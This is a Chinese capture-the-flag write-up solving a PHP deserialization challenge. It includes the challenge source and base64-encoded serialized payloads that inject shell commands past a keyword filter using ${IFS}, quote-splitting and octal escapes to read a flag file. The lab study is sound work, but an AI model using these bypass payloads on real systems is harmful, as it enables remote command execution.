113,【5】 功防世界 web unseping

进入靶场

代码审计

php 复制代码
<?php
// 高亮显示当前 PHP 文件的源代码,方便开发者查看代码结构和内容
highlight_file(__FILE__);

// 定义一个名为 ease 的类
class ease {
    // 私有属性 $method,用于存储要调用的方法名
    private $method;
    // 私有属性 $args,用于存储调用方法时传递的参数
    private $args;

    // 构造函数,在创建类的对象时自动调用
    // 接收两个参数:$method 表示要调用的方法名,$args 表示调用方法时传递的参数数组
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    // 析构函数,当对象被销毁时自动调用
    function __destruct() {
        // 检查 $this->method 是否在数组 ["ping"] 中
        // 如果存在,则调用 call_user_func_array 函数来动态调用对象的指定方法,并传递相应的参数
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    // 定义一个名为 ping 的方法,用于执行系统命令
    // 接收一个参数 $ip,通常是一个 IP 地址
    function ping($ip) {
        // 使用 exec 函数执行 $ip 对应的系统命令,并将执行结果存储在 $result 数组中
        exec($ip, $result);
        // 使用 var_dump 函数输出 $result 数组的详细信息
        var_dump($result);
    }

    // 定义一个名为 waf 的方法,用于进行简单的 Web 应用防火墙(WAF)过滤
    // 接收一个参数 $str,表示要过滤的字符串
    function waf($str) {
        // 使用 preg_match_all 函数进行正则表达式匹配
        // 正则表达式 "/(\||&|;| |\/|cat|flag|tac|php|ls)/" 用于匹配一些危险字符和关键字
        // 如果没有匹配到任何内容,则返回原始字符串
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            // 如果匹配到了危险字符或关键字,则输出 "don't hack" 提示信息
            echo "don't hack";
        }
    }

    // __wakeup 魔术方法,在对象被反序列化时自动调用
    function __wakeup() {
        // 遍历 $this->args 数组,对每个元素应用 waf 方法进行过滤
        foreach ($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }
}

// 从 POST 请求中获取名为 'ctf' 的参数值,并赋值给 $ctf 变量
// @ 符号用于抑制可能出现的错误信息
$ctf = @$_POST['ctf'];
// 对 $ctf 进行 Base64 解码,然后进行反序列化操作
// @ 符号同样用于抑制可能出现的错误信息
@unserialize(base64_decode($ctf));
?>

需要通过 POST 请求传递一个经过 Base64 编码的序列化对象给参数ctf

1,

php 复制代码
<?php

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
  
}
$a = new ease("ping",array('ls'));
$b = serialize($a);
echo $b;
?>

别问为什么不直接在php代码里转换为base64,我的php运行工具不太行

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:2:"ls";}}

复制代码

Tzo0OiJlYXNlIjoyOntzOjEyOiJlYXNlbWV0aG9kIjtzOjQ6InBpbmciO3M6MTA6ImVhc2VhcmdzIjthOjE6e2k6MDtzOjI6ImxzIjt9fQ==

2,

得知了有个flag_1s_here文件,查看一下

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

3,

查看flag_831b69012c67b35f.php

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiYyIiYXQke0lGU31mIiJsYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZiIibGFnXzgzMWI2OTAxMmM2N2IzNWYucCIiaHAiO319

cyberpeace{a54274ce8db23eaf3f848c4099bc22eb}

相关推荐
Blurpath2 小时前
免费代理IP服务有哪些隐患?如何安全使用?
网络·安全·ip代理·住宅ip
快消前瞻4 小时前
百度导航广告“焊死”东鹏特饮:商业底线失守,用户安全成隐忧
安全·百度
可怜的Tom被玩弄于股掌之中6 小时前
BUUCTF——ReadlezPHP
安全·web安全·网络安全·网络攻击模型·安全架构
你好我是小美7 小时前
信息收集+初步漏洞打点
安全·web安全·网络安全
weixin_473894777 小时前
Web安全核心内容与常见漏洞总结
安全·web安全
朱包林8 小时前
day10-别名-MD5,aide-堡垒机
linux·运维·安全·ubuntu·centos·云计算
海尔辛10 小时前
学习黑客Kerberos深入浅出:安全王国的门票系统
学习·安全·kerberos·window
Allen_LVyingbo10 小时前
医院网络安全托管服务(MSS)深度解读与实践路径
安全·web安全·健康医疗
uwvwko10 小时前
ctfshow——web入门254~258
android·前端·web·ctf·反序列化
20242817李臻10 小时前
李臻20242817_安全文件传输系统项目报告_第12周
数据库·安全